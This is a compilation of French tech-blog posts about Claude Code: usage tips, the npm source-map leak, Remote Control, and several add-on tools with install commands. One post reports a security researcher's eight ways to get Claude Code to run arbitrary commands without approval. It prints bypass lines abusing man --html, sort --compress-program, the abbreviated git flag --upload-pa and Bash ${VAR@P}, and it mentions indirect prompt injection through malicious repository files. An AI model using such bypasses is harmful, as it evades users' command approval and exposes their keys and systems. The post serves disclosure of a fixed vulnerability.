Car vous le savez, certaines règles que vous avez mises en place existent uniquement à cause d'un biais du modèle actuel. Genre, Opus 4.6 qui colle ces putains de tirets cadratins (Unicode U+2014) partout. Du coup, ça oblige les gens à mettre dans leurs skills une règle du genre "0 em-dash". Sauf que le jour où Sonnet 5 ne les utilisera plus, cette règle ce sera du bruit inutile.

Alors en taguant @[OPUS-4.6] dans un commentaire HTML, vous pourrez ensuite faire facilement un grep -r "@\[OPUS" quand vous changez de modèle. C'est du tracking de dette technique pour le prompt engineering, quoi... et perso, je n'y avais pas pensé avant.

Cinquième pattern : les seuils numériques.

Votre "Fais des fonctions courtes" dans un CLAUDE.md, ça ne veut rien dire pour un agent et malheureusement, la plupart des gens écrivent encore "sois concis" ou "toi faire code propre" sans aucun chiffre alors qu'un "Max 50 lignes par fonction, couverture tests ≥ 80%, 0 warning ESLint" c'est vachement plus efficace car vérifiable par un script.

Enfin, dernier pattern : la consolidation mémoire.

Anthropic a mis en place un système nommé autoDream qui tourne pendant l'inactivité de Claude Code pour nettoyer la mémoire. Il vire les doublons, résout les contradictions, vérifie que les fichiers existent encore. Et même s'il ne le réclame pas parce qu'ils n'ont pas de bouche pour vous parler, vos CLAUDE.md de 200 lignes et vos JSON de 70 Ko ont besoin du même traitement ! Donc il faut que vous ajoutiez une phase genre "dream" en bash ou Node.js à la fin de vos workflows, comme ça, plutôt que de tout garder, le script scan le répertoire ~/.claude/, trie les entrées par date, et fusionne les doublons. C'est comme la consolidation pendant l'inactivité, mais en 5 secondes sur un Apple M4.

D'ailleurs, la communauté n'a pas perdu de temps. Un développeur a catalogué les 88 feature flags planqués dans le code, dont 54 qui compilent proprement (les autres dépendent de modules internes d'Anthropic). Et un autre a reconstitué 8 diagrammes d'architecture complets du pipeline : cycle de vie d'une requête, système de permissions, orchestration multi-agents... C'est la meilleure doc technique qui existe sur le fonctionnement interne de Claude Code, et elle ne vient pas d'Anthropic ^^

Architecture globale de Claude Code reconstituée par la communauté

Voilà et toutes ces pratiques, ça repose sur les 25 événements du système de hooks (PreToolUse, PostToolUse, UserPromptSubmit, Stop...) avec 3 types de handlers : command pour les scripts shell, prompt pour une évaluation LLM, et agent pour une vérification multi-étapes.

Après, si l'un de vos scripts plante comme une merde, le hook laissera passer des choses, donc pensez bien à tester chaque retour de script avec un echo '{}' | ./mon-hook.sh && echo $? avant de déployer.

Et voilà ! Je vous invite à lire mon article sur la fuite pour plus d'infos.

Claude Code prend la fuite

60 Mo de source maps (ces fichiers qui permettent de remonter du code minifié à l'original) ont été oubliés dans un paquet npm. Et voilà comment Anthropic a involontairement balancé en public le code source complet de Claude Code, son outil à 2.5 milliards de dollars de revenus annuels.

Alors qu'est-ce qui s'est passé exactement ?

Hé bien hier, la version 2.1.88 du package @anthropic-ai/claude-code sur le registre npm embarquait un fichier .map de 59.8 Mo. Un truc normalement réservé au debug interne, sauf que ce fichier .map contenait les pointeurs vers les 1 900 fichiers TypeScript originaux, en clair. Chaofan Shou, un développeur chez Solayer Labs, a alors repéré la boulette et l'a partagée sur X. Le temps qu'Anthropic réagisse, le code était déjà mirroré partout sur GitHub, avec 41 500+ forks en quelques heures. Autant dire que le dentifrice ne rentrera pas dans le tube !

Pour ma part, j'avais un petit dépôt à moi assez ancien avec quelques trucs relatifs à Claude Code, qui n'avait rien à voir avec tout ça, qui s'est même retrouvé striké... Ils ratissent large avec leur DMCA donc.

Et là, c'est la fête pour les curieux comme moi parce que les entrailles de l'outil révèlent pas mal de surprises. Côté architecture, on découvre environ 40 outils internes avec gestion de permissions, un moteur de requêtes de 46 000 lignes de TypeScript, un système multi-agents capable de spawner des essaims de sous-tâches en parallèle, et un pont de communication entre le terminal et votre éditeur VS Code ou JetBrains. Le tout tourne sur Bun (pas Node.js ^^) avec Ink pour l'interface terminal. Par contre, pas de tests unitaires visibles dans le dump.

Côté mémoire, c'est plutôt bien pensé puisqu'au lieu de tout stocker bêtement dans la fenêtre de contexte du modèle, l'outil utilise un fichier texte MEMORY.md ultra-léger (genre 150 caractères par entrée) qui sert d'index de pointeurs. Les vraies données, elles, sont distribuées dans des fichiers thématiques chargés à la demande, et les transcripts bruts ne sont jamais relus entièrement, mais juste fouillés à la recherche d'identifiants précis. L'agent traite en fait sa propre mémoire comme un "hint" ce qui le force à vérifier toujours le vrai code avant d'agir. En gros, il a une mémoire sceptique, et pour moi c'est clairement le truc le plus intéressant du dump.

Y'a aussi un truc qui s'appelle KAIROS (mentionné 150 fois dans le code) qui est un genre de mode daemon autonome. En fait, pendant que vous allez chercher votre café, l'agent tourne en arrière-plan et fait ce qu'ils appellent autoDream : il consolide sa mémoire dans des fichiers JSON, vire les contradictions et transforme les observations vagues en données structurées. Comme ça, quand vous revenez devant votre écran, le contexte est nettoyé.

Et puis le code balance aussi la roadmap interne d'Anthropic (bon courage au service comm ^^). On y trouve les noms de code des modèles... Capybara pour un variant de Claude 4.6, Fennec pour Opus 4.6, et un mystérieux Numbat qui n'est pas encore sorti. D'ailleurs, les commentaires internes révèlent que Capybara v8 a un taux de fausses affirmations qui tourne autour de 30%, ce qui est une grosse régression par rapport aux 17% de la v4. Y'a même un "Undercover Mode" qui permet à l'agent de contribuer à des repos publics sans révéler d'infos internes (c'est sympa pour les projets open source).

Anthropic a confirmé la fuite : "C'était un problème de packaging lié à une erreur humaine, pas une faille de sécurité. Aucune donnée client n'a été exposée." Mouais, attention quand même, parce que le code est déjà partout et n'en repartira pas. Et même si aucun secret client n'a fuité, exposer l'architecture complète d'un agent IA à 2.5 milliards de revenus, c'est pas rien non plus.

Bon, et maintenant qu'est-ce qu'on peut en faire ? Bah pas mal de choses en fait.

Par exemple, le système de mémoire auto-correcteur est un pattern directement réutilisable pour vos propres agents IA. L'architecture "index léger + fichiers à la demande" résout élégamment le problème de la pollution de contexte qui fait halluciner les LLM sur les longues sessions. Les +40 outils internes permettent aussi de comprendre comment structurer un système de permissions granulaires dans un agent autonome . Et le concept KAIROS/autoDream, la consolidation mémoire pendant l'idle, c'est une idée qu'aucun outil open source n'implémente encore. Autant dire que les alternatives open source à Claude Code ou Codex vont monter en gamme dans les jours qui viennent. Et le code est déjà nettoyé, réécris en Rust et mis sur GitHub si vous voulez fouiller. Bon, pas sûr que le pattern autoDream soit simple à reimplémenter, mais le système de mémoire oui.

Je trouve ça assez marrant que le code proprio d'une boite qui a aspiré tout l'open source du monde voire plus, sans autorisation, pour le revendre sous la forme de temps machine / tokens, devienne lui aussi en quelque sorte "open source" sans qu'on leur demande leur avis ^^. La vie est bien faite.

Maintenant, pour les développeurs qui publient sur npm, la leçon est limpide : Vérifiez votre .npmignore et votre champ files dans package.json. Ou plutôt, lancez la commande npm pack --dry-run dans votre terminal avant chaque publish. Ça prend 2 secondes et ça vous montre exactement ce qui sera inclus dans le paquet. Ça aurait évité 60 Mo de secrets industriels qui partent en public.

Bref, un .npmignore bien configuré, ça coûte 0 euro. Alors qu'une fuite de propriété intellectuelle évaluée à 2.5 milliards... un peu plus !

Source

Claude Code - Pilotez votre terminal depuis votre canapé

Claude Code tourne en local et c'est son gros avantage car ça permet par exemple d'agir sur votre machine, de lancer des scripts...etc. Mais c'est aussi sa grosse limite car à cause de ça, vous êtes cloué devant votre terminal. J'étais en quête depuis un moment d'une solution et je vous avais déjà parlé de Vibe Companion y'a pas longtemps mais tous ces outils vont disparaitre puisque Anthropic vient de sortir Remote Control, une feature qui transforme claude.ai ou l'app mobile en télécommande pour votre session locale. Comme ça, vos fichiers restent chez vous et seule l'interface voyage.

Votre ordi fait tourner Claude Code normalement, et vous, vous pouvez continuer à lui parler depuis votre iPhone, votre Android, votre iPad ou n'importe quel navigateur Chrome, Firefox, Safari... Pas de serveur exposé, pas de port ouvert, que du HTTPS sortant. C'est plutôt bien foutu vous allez voir !

Ce qu'il vous faut

Bon déjà, un abonnement Pro (Édit : ? on me dit que c'est pas encore actif pour les pro ?) ou Max (pas le choix, les clés API ne marchent pas et les plans Team/Enterprise sont exclus pour le moment). Ensuite, vérifiez que Claude Code est installé et que vous êtes connecté via /login. Acceptez ensuite le "workspace trust" dans votre projet et hop, c'est tout côté prérequis.

Lancer une session

Deux options s'offrent à vous ensuite... Soit vous démarrez une nouvelle session dédiée :

claude remote-control

Soit vous êtes déjà en train de bosser dans Claude Code et vous tapez /rc (alias de /remote-control). Avec claude remote-control, seule l'URL apparaît... donc appuyez sur espace pour afficher le joli QR code.

3 flags utiles (uniquement avec claude remote-control, pas /rc) : --verbose pour voir ce qui transite, --sandbox pour forcer le mode bac à sable (désactivé par défaut) et --no-sandbox pour le couper si vous l'avez activé dans votre config.

Se connecter depuis un autre appareil

Ensuite, la méthode la plus rapide c'est de scanner le QR code avec votre téléphone. Sinon, copiez l'URL affichée et collez-la dans n'importe quel navigateur. Dernière option, allez sur claude.ai/code et votre session apparaît dans la liste (les sessions actives ont un petit point vert).

Une fois connecté, vous récupérez votre conversation en cours, vos fichiers, votre contexte... tout. Vous pouvez envoyer des messages, voir les résultats, approuver les modifications de fichiers. Bref, comme si vous étiez devant votre terminal, sauf que vous êtes dans votre canapé, votre lit ou en train de pousser le caddie chez Auchan !

Activer par défaut

Maintenant, si vous voulez que CHAQUE session Claude Code soit automatiquement accessible à distance, tapez /config dans une session Claude Code, puis activez l'option "Enable Remote Control for all sessions". Et voilà, plus besoin d'y réfléchir ! Chaque claude lancé dans un terminal sera pilotable depuis votre navigateur ou l'app mobile.

Vos sessions prennent le nom de votre dernier message (ou "Remote Control session" par défaut), donc utilisez /rename mon-projet-cool pour les retrouver facilement dans la liste sur claude.ai/code.

Sinon, dans Claude Code avec /mobile vous pouvez aussi afficher directement le QR code pour télécharger l'app Claude sur iOS ou Android.

Les limites à connaître

Bon, après c'est pas non plus parfait car déjà, c'est cappé à UNE SEULE session à distance par instance de Claude Code (si vous en lancez une deuxième, la première se déconnecte). Par contre, plusieurs instances dans des terminaux différents peuvent chacune avoir leur session remote. Le terminal doit également rester ouvert (si vous le fermez, c'est fini). Mais bonne nouvelle quand même, si le laptop passe en veille ou que le réseau saute, ça se reconnectera tout seul au réveil. Le piège, c'est si la machine reste sans réseau plus de 10 minutes... là, la session expire et il faudra relancer claude remote-control.

Soyez rassurés quand même côté sécurité c'est propre (uniquement du HTTPS sortant sur le port 443, zéro port entrant et des identifiants éphémères), mais gardez en tête que Claude Code a accès à votre terminal donc sauf si vous activez --sandbox, il peut de ce fait exécuter n'importe quelle commande... donc les mêmes précautions qu'en local s'appliquent !

Du coup si vous en avez marre de rester scotché devant votre terminal, maintenant vous savez quoi faire.

Merci à Lorenper !

Personal AI Infrastructure - L'agent intelligent qui vous connaît vraiment

On nous parle d'agents IA à toutes les sauces depuis deeeees mois mais au final, on se retrouve la plupart du temps avec des outils "stateless" qui perdent le fil dès qu'une session se termine. Heureusement, le projet Personal AI Infrastructure (ou PAI pour les intimes) de Daniel Miessler propose justement de régler ce problème en classant les systèmes IA en 3 niveaux.

Le niveau 1, c'est le chatbot de base type ChatGPT... vous posez une question, il répond, il oublie tout. Le niveau 2, c'est l'agent (genre Claude Code ou Cursor) qui peut exécuter des trucs mais qui ne vous connait pas vraiment. Et le niveau 3, c'est PAI, une infrastructure complète qui observe, planifie, exécute et surtout... apprend de vous.

Concrètement, PAI c'est pas juste une énième surcouche pour votre LLM préféré. C'est un framework (TypeScript, Python, Bash) qui tourne sur Bun et qui structure tout autour de VOUS. Le cœur du truc, c'est ce qu'il appelle "TELOS"... en fait c'est 10 fichiers Markdown (genre MISSION.md, GOALS.md, BELIEFS.md planqués dans votre dossier ~/.claude/) qui définissent qui vous êtes et ce que vous voulez accomplir. Du coup, l'IA ne se contente plus de répondre bêtement, elle comprend pourquoi vous posez la question par rapport à vos projets en cours.

Et y'a un deuxième concept sympa, qui est la séparation propre entre vos fichiers perso (dossier USER/) et l'infrastructure du système (dossier SYSTEM/). Ça veut dire que vous pouvez faire un git pull pour mettre à jour PAI sans écraser ce fichier USER/PREFERENCES.md que vous avez mis 2 heures à peaufiner. Ça parait con dit comme ça, mais quand vous avez passé du temps à peaufiner vos préférences... c'est PAS la même.

Côté mémoire, le système fonctionne sur 3 niveaux (chaud, tiède, froid) pour stocker intelligemment vos infos en fonction de leur fraîcheur. En gros, ce qui est frais et pertinent reste accessible immédiatement, le reste descend progressivement dans les couches inférieures. Attention par contre, faut pas confondre avec un simple fichier de notes... là je vous parle d'un truc qui se met à jour TOUT SEUL à chaque interaction. Et tout ça nourrit l'IA pour qu'elle s'affine au fil du temps sans que vous ayez à tout réexpliquer (parce que soyons honnêtes, c'est CHIANT de re-contextualiser à chaque nouvelle session).

L'architecture est modulaire avec des "Packs" et des "Bundles". Y'a 23 Packs disponibles qui couvrent la génération de code, la recherche d'infos, la gestion de la mémoire... Hop, vous installez le pack voice-system et vous avez un système qui cause façon Jarvis (via ElevenLabs). Et si vous avez besoin de notifications push sur votre téléphone (coucou Clawbot de merde ^^) quand une tâche longue se termine, y'a un pack pour ça aussi, avec ntfy ou Discord.

Le truc qui m'a bien plu dans la philosophie du projet, c'est la hiérarchie stricte : CODE d'abord, puis CLI, puis Prompt, puis Skill. En gros, si un problème peut se résoudre avec un grep ou un script bash de 10 lignes, on ne sort pas l'artillerie lourde. Et si on peut en faire un outil CLI, on ne reste pas sur un prompt de base. Perso, j'aime bien cette approche... ça évite d'utiliser un LLM comme un marteau pour enfoncer tous les clous (sauf que dans la vraie vie, on le fait tous quand même, avouez...).

D'ailleurs, PAI n'est pas réservé qu'aux devs puisque le projet vise aussi les artistes, les managers (pour du suivi d'équipe par exemple), les petits patrons (facturation, marketing...etc) et même monsieur / madame tout-le-monde pour gérer ses finances ou son planning sportif. La v2.5 est sortie il y a quelques jours avec l'exécution parallèle par défaut et des outils de "thinking" améliorés.

Pour installer le bouzin, c'est pas sorcier :

git clone https://github.com/danielmiessler/PAI.git
cd PAI/Releases/v2.5
cp -r .claude ~/
cd ~/.claude && bun run INSTALL.ts

Comptez 5 minutes montre en main (sauf si vous n'avez pas Bun, là faudra l'installer avant avec curl -fsSL https://bun.sh/install | bash). Ça a été développé avec Claude Code mais c'est platform-agnostic, ça marche aussi avec Cursor, Windsurf ou OpenCode et le support de modèles locaux accessible via Ollama ou llama.cpp est sur la roadmap (vivement que ça tourne 100% en local, perso).

Bref, si vous en avez marre des assistants qui ont la mémoire d'un poisson rouge, PAI est une piste sérieuse. C'est du terminal-first, open source (MIT) et largement plus ambitieux que les wrappers habituels. Bon, faut quand même être à l'aise avec le terminal hein... si vous êtes plutôt team GUI, passez votre chemin.

Merci à Pascal pour l'info !

Source

Faites de Claude une armée de développeurs à votre service

Vous rêvez de lancer Claude sur un projet et de le laisser bosser tout seul pendant que vous faites autre chose, du genre jouer à Animal Crossing en attendant la fin de la journée ? Hé bien c'est exactement ce que propose Auto-Claude, un outil open source qui transforme l'assistant IA préféré des devs en armée de développeurs plus autonomes que votre mère quand il s'agit d'échanger un billet de train.

J'avais déjà parlé de Claude Engineer c'est vrai. C'est un framework CLI en Python qui permettait de faire bosser Claude en autonomie. Mais Auto-Claude, alalalala, c'est un autre délire les amis ! Déjà c'est une vraie application desktop avec interface graphique, tableau Kanban pour gérer vos tâches, et surtout... 12 terminaux qui peuvent tourner en parallèle. Oui, DOUZE agents Claude qui bossent simultanément sur votre code pendant que vous candy crushez pépouze dans les WC de votre entreprise.

Les terminaux d'Auto-Claude en action, chacun gérant un agent autonome

Le truc génial, c'est que chaque agent travaille dans son propre git worktree. Du coup, pas de conflit (de canard ^^ - J'ai pas pu résister désolé), pas de branches qui s'emmêlent, et chaque tâche est isolée proprement.

Puis quand c'est fini ? Hop, vous validez et ça merge parfaitement sans vous prendre la tête. Ce truc est fou !

Installation

Alors pour commencer, il vous faut un abonnement Claude Pro ou Max. Pas le choix...

Ensuite, installez Claude Code via npm si c'est pas déjà fait :

npm install -g @anthropic-ai/claude-code

Maintenant on clone Auto-Claude :

git clone https://github.com/AndyMik90/Auto-Claude.git
cd Auto-Claude

Et on installe les dépendances. L'outil gère à la fois le frontend Electron et le backend Python :

npm run install:all

Et c'est tout. Si si sérieux. Bon, là je vous l'ai fait en mode installe de barbu.e.s mais sachez aussi qu'il y a des binaires à télécharger directement pour Windows, macOS (Intel ou Silicon) et Linux (AppImage, deb ou flatpak).

Lancement et utilisation

Pour démarrer l'interface graphique, ensuite, c'est :

npm start

Une fenêtre s'ouvre avec le fameux tableau Kanban. Vous ajoutez vos tâches, vous les assignez aux agents disponibles, et c'est parti. Chaque terminal affiche en temps réel ce que fait son agent.

Le tableau Kanban pour orchestrer vos agents IA

Pour les fans de ligne de commande, y'a aussi un mode CLI :

python run.py --spec 001

Le numéro correspond à un fichier de spec dans le dossier specs/. Vous écrivez ce que vous voulez, et Auto-Claude s'occupe du reste.

Comment ça fonctionne ?

L'architecture est plutôt bien pensée puisque le frontend Electron communique avec un backend Python via WebSocket. Chaque agent a son propre processus isolé, sa propre branche git, son propre contexte.

Ainsi, quand vous lancez une tâche, Auto-Claude :

  1. Crée un worktree git dédié
  2. Lance un agent Claude Code dessus
  3. Monitore l'avancement en temps réel
  4. Gère le pipeline QA automatiquement

Le tout avec une interface qui vous permet de suivre 12 conversations en parallèle, soit de quoi bien jouer au chef d'orchestre si vous avez un gros projet à abattre.

Je commence à peine à découvrir l'outil et faut que je le ponce un peu plus pour voir ce que je peux faire avec ça, mais si vous êtes chaud bouillant comme moi sur ce genre de truc, je vous invite à tester l'autonomie IA poussée à fond avec Auto-Claude.

C'est gratuit, open source, et ça tourne sur Mac, Windows et Linux . Et un grand merci à Louis pour la découverte !

8 façons de powner Claude Code - Attention à vos terminaux

Alors, est ce que vous AUSSI, vous avez succombé à la tentation de Claude Code, le nouvel agent en ligne de commande d'Anthropic ?

J'suis sûr que oui !! Ahaha, C'est vrai que c'est hyper pratique de laisser une IA fouiller dans son repo pour corriger des bugs ou refactorer du code. Mais comme toujours avec ces outils qui ont un pied dans votre terminal et un autre dans le cloud, la question de la sécurité finit toujours par se poser.

Est-ce que Claude Code est vraiment sûr ?

Pour Anthropic, la réponse est un grand oui, avec tout son système de permissions basé sur une "blocklist" d'arguments dangereux...

Sauf que voilà, RyotaK , un chercheur en sécurité chez GMO Flatt Security, a décidé d'aller voir sous le capot, et ce qu'il a trouvé devrait normalement, vous faire lever un gros sourcil.

En effet, le gars a dégoté pas moins de 8 façons différentes de faire exécuter n'importe quelle commande arbitraire à Claude Code, le tout sans que vous ayez à cliquer sur "Approuver".

En fait, Claude Code autorise par défaut certaines commandes jugées "inoffensives" comme man, sort ou sed, parce qu'elles sont censées être en lecture seule. Et pour éviter les dérives, Anthropic filtre les arguments avec des expressions régulières.

C'est du classique mais RyotaK a montré que c'est un vrai champ de mines. Par exemple, sur la commande "man", il suffisait d'utiliser l'option --html pour lui faire exécuter un binaire arbitraire chargé de "formater" la page.

man --html="touch /tmp/pwned" man

Pareil pour la commande "sort" qui, avec l'argument --compress-program, permet de lancer un shell qui va gentiment interpréter tout ce qu'on lui envoie sur l'entrée standard.

sort --compress-program "gzip"

C'est vicieux parce que ce ne sont pas des bugs de Claude Code à proprement parler, mais juste des fonctionnalités légitimes d'outils Unix vieux de 30 ans que personne ne soupçonne d'être des vecteurs d'attaque ici...

Alors oui, pour ceux qui se demandent si Claude peut lire tout leur code, la réponse est oui, et c'est justement là que ça coince car si vous lancez l'outil sur un projet qui contient des fichiers malveillants (venant d'une PR douteuse ou d'un repo cloné à la va-vite), l'IA peut se faire piéger par ce qu'on appelle de l'injection de prompt indirecte.

Dans un des PoC, le chercheur utilise même les subtilités de Bash avec des trucs comme ${VAR@P} qui permettent d'interpréter le contenu d'une variable comme une invite de commande, exécutant ainsi du code caché. On est en plein dans la magie noire pour terminal et le pire, c'est que même git s'est fait avoir... En effet, Claude bloquait l'argument --upload-pack, mais comme git accepte les versions abrégées, il suffisait de taper --upload-pa pour passer à travers les mailles du filet !

Bref, c'est le jeu du chat et de la souris habituel, mais ici les enjeux sont énormes puisque l'agent a potentiellement accès à vos clés SSH, vos variables d'environnement et tout votre OS.

Après la bonne nouvelle (parce qu'il en faut bien de temps en temps...ahah), c'est qu'Anthropic a réagi au quart de tour et la faille, estampillée CVE-2025-66032, a bien été corrigée dans la version 1.0.93 de claude-code. Ils ont carrément abandonné l'approche par blocklist (trop permissive par nature) pour passer à une allowlist beaucoup plus stricte. Donc, si vous traînez encore sur une vieille version, un petit coup de npm install -g @anthropic-ai/claude-code ne vous fera pas de mal.

Voilà... C'est vrai que ces chouette tous ces assistants IA mais le prix à payer pour avoir un assistant qui bosse à votre place c'est que derrière, faut s'assurer aussi qu'il ne laisse pas la porte ouverte aux cambrioleurs en passant.

Après, ça ou un vrai employé qui tape dans la caisse ou pire ...

Source

Cupertino - Plus de code iOS pourri avec vos assistants IA

Vous développez une app SwiftUI et Claude vous balance du NavigationView alors qu’Apple recommande NavigationStack depuis la sorite d’iOS 16 ? Ou encore il vous sort @ObservableObject et @Published alors qu’on est passé à @Observable ?

Bienvenue dans le club des devs qui passent plus de temps à corriger les hallucinations de leur IA qu’à coder…

Ce problème, Aleahim, un développeuse macOS, en a eu marre alors elle a créé Cupertino, un serveur MCP qui donne accès à Claude à plus de 22 000 pages de documentation Apple en local. Plus besoin d’aller sur le net, et surtout plus d’excuses pour mélanger du code iOS 12 avec du SwiftUI moderne.

Ainsi, au lieu de laisser Claude deviner les API (et se planter une fois sur deux), on lui file l’accès direct à la vraie doc. Les 261 frameworks Apple sont là, indexés dans une base SQLite locale, avec un moteur de recherche full-text qui répond en moins de 100ms. SwiftUI, UIKit, AppKit, Foundation, Core ML, ARKit… tout y est.

L’écosystème se découpe ensuite en plusieurs repos GitHub. D’abord le serveur MCP principal qui fait le boulot d’indexation, ensuite un repo avec la doc pré-crawlée (parce que se taper 20 heures de téléchargement, merci mais non merci), et une collection de 606 projets d’exemple Apple officiels pour la route.

De quoi transformer Claude en assistant qui connaît VRAIMENT la plateforme.

Si ça vous intéresse, sachez qu’avant de vous lancer, faut être sur macOS 15 minimum avec Xcode 16 et Swift 6.2+. Côté espace disque, prévoyez 2-3 GB. Et si vous avez déjà bidouillé dans le terminal, que vous connaissez Git et que vous avez Claude Code installé, vous êtes bons. Comptez environ une quinzaine de minutes pour tout mettre en place.

Et rassurez-vous, je ne vous laisse pas tomber, on va attaquer l’installation ensemble. D’abord, récupérez le projet et compilez-le :

git clone https://github.com/mihaelamj/cupertino.git
cd cupertino
make build
sudo make install

Cette commande compile le projet Swift en mode release (ne faites pas attention aux warning éventuels) et copie le binaire dans /usr/local/bin/. Vous devriez ensuite voir un message du genre “Build complete” suivi des chemins où le binaire est déployé.

Maintenant passons sur la doc. Plutôt que de crawler vous-même les serveurs Apple pendant une journée entière, je vous recommande de récupérer la version pré-packagée. Ça prend 5 minutes au lieu de 20 heures, et franchement la vie est trop courte :

git clone https://github.com/mihaelamj/cupertino-docs.git ~/.cupertino

Mais si vous tenez absolument à avoir la doc fraîche du jour (maniaque de la mise à jour, je vous vois), vous pouvez crawler ça vous-même :

# Swift Evolution, ~5 minutes
cupertino fetch --type evolution
# Doc complète, ~20-24h
cupertino fetch --type docs
# Sample code Apple, ~4 minutes
cupertino fetch --type samples

Le crawler utilise un délai de 0,5 seconde entre chaque requête pour ne pas se faire blacklister par Apple. D’où les 20 heures…

Ensuite, il faut construire l’index à l’aide de la commande suivante :

cupertino save

Puis lancer le serveur MCP comme ceci :

cupertino serve

Maintenant, passons à la connexion avec Claude Code. Alors pourquoi Claude Code, parce que c’est celui que j’utilise, c’est le meilleur, c’est mon préféré ❤️.

Et c’est là que tout se joue, une seule commande :

claude mcp add cupertino --scope user -- /usr/local/bin/cupertino

Le --scope user fait que le serveur sera dispo dans tous vos projets, pas juste celui où vous êtes. Vous devriez voir : “Added stdio MCP server cupertino with command: /usr/local/bin/cupertino to user config”.

Et maintenant pour vérifier que tout marche, lancez Claude Code avec claude puis tapez /mcp. Vous devriez voir cupertino dans la liste avec 3 outils : search_docs, list_frameworks et read_document. Vous pouvez aussi lancer cupertino doctor dans le terminal pour un diagnostic complet qui vérifie que le serveur MCP, le répertoire de doc et l’index de recherche sont bien en place.

Testez en demandant à Claude de chercher quelque chose dans la doc Apple. Genre “NavigationStack iOS 16”. Il devrait utiliser l’outil search_docs et vous retourner la vraie documentation avec les bons exemples de code… pas du deprecated.

Si vous avez l’erreur “command not found: cupertino”, le binaire n’est pas dans votre PATH. Vérifiez que /usr/local/bin y est bien ou relancez sudo make install. Si c’est “Database not found”, vous n’avez pas de doc indexée. Retournez chercher le repo cupertino-docs ou lancez le crawl. Et si le serveur ne se connecte pas à Claude Code, fermez Claude Code complètement et relancez-le car les serveurs MCP se chargent au démarrage.

Voilà… Pour les devs Apple qui en ont marre de corriger les suggestions de Claude, Cupertino la formation Apple qu’il manquait à votre assistant IA !

Source

Opcode transforme Claude Code en machine de guerre

Marre de jongler entre votre terminal et 15 onglets pour gérer vos sessions Claude Code ? Et bien les amis, je suis tombé sur Opcode , et c’est un super outil pour créer des checkpoints dans vos conversations IA comme vous faites des branches Git, pouvoir revenir en arrière quand Claude part en vrille mais également avoir une vraie vue d’ensemble de tous vos projets et agents…

Développé par Asterisk , une startup passée par Y Combinator, Opcode c’est l’interface graphique qui manquait cruellement à Claude Code. Au lieu de vous battre avec la ligne de commande, vous avez maintenant une vraie application desktop, native, rapide, qui tourne sur macOS, Linux et Windows. Ce truc est construit avec Tauri 2 , donc on parle de performances natives avec une UI moderne en React.

Claude Code est un outil génial pour coder avec de l’IA, et j’en sais quelque chose parce que je l’utilise tous les jours. Mais l’interface CLI peut vite devenir limitante quand vous jonglez avec plusieurs projets. Opcode transforme donc cette expérience en quelque chose de plus visuel et intuitif. Vous naviguez dans vos projets stockés dans ~/.claude/projects/ avec une interface graphique, vous voyez l’historique de vos sessions, et surtout, vous pouvez créer des agents personnalisés avec leurs propres prompts système.

Le système de time-travel m’a particulièrement plu car il permet de créer des checkpoints pendant vos conversations avec Claude. Comme ça, si l’IA part dans une mauvaise direction, hop, vous revenez au checkpoint précédent. C’est comme Git mais pour vos interactions IA. Ça évite de tout recommencer quand Claude comprend de travers ce que vous voulez.

Côté sécurité, les mecs d’Asterisk ne rigolent pas. Opcode utilise du sandboxing au niveau OS (seccomp sur Linux, Seatbelt sur macOS) pour isoler complètement les processus. Chaque agent peut avoir des permissions granulaires et vous décidez exactement ce qu’il peut faire ou ne pas faire. Et le plus important : zéro télémétrie. Toutes vos données restent en local, pas de cloud, pas de tracking. Votre code reste donc votre code.

Pour les agents personnalisés, c’est vraiment bien pensé. Vous créez des agents spécialisés avec leurs propres instructions système. Un agent pour le debug, un autre pour la documentation, un pour les tests unitaires. Chaque agent garde son historique, ses préférences, ses permissions. Vous construisez progressivement votre bibliothèque d’agents spécialisés qui connaissent vos habitudes de travail.

L’interface de tracking des coûts API est super pratique aussi. Vous voyez en temps réel combien de tokens vous consommez, le coût associé, avec des graphiques détaillés. Fini les mauvaises surprises en fin de mois. Comme ça, vous savez exactement où part votre budget Claude.

Pour installer Opcode, vous pouvez télécharger les binaires pour macOS, Linux (Windows arrive bientôt…) directement sur le site d’opcode .

Le code est sur GitHub , propre et bien documenté si ça vous chauffe. Voilà, ça permet de garder toute la puissance de l’outil CLI Claude Code, mais avec une interface qui rend l’expérience bien plus agréable. Si vous êtes un vibe codeur qui passe ses journées avec Claude, vous allez gagner un temps fou.

SuperClaude - Le framework qui transforme Claude Code en machine de guerre

Si vous utilisez Claude Code, le nouvel assistant de programmation d’Anthropic qui vit directement dans votre terminal, vous allez kiffer ce que je vais vous montrer aujourd’hui. Y’a un développeur nommé Anton Knoery (NomenAK sur GitHub) qui vient de sortir SuperClaude, un framework de configuration qui transforme Claude Code en véritable machine de guerre pour les développeurs.

Attention, ce n’est pas encore un outil avec 150 dépendances Node.js à la con qui va foutre le bordel dans votre système. Non non, SuperClaude c’est de la pure configuration, zéro code, zéro dépendance externe. Le truc s’installe tranquillement dans votre dossier ~/.claude/ et améliore discrètement les capacités de Claude Code dans tous vos projets.

❌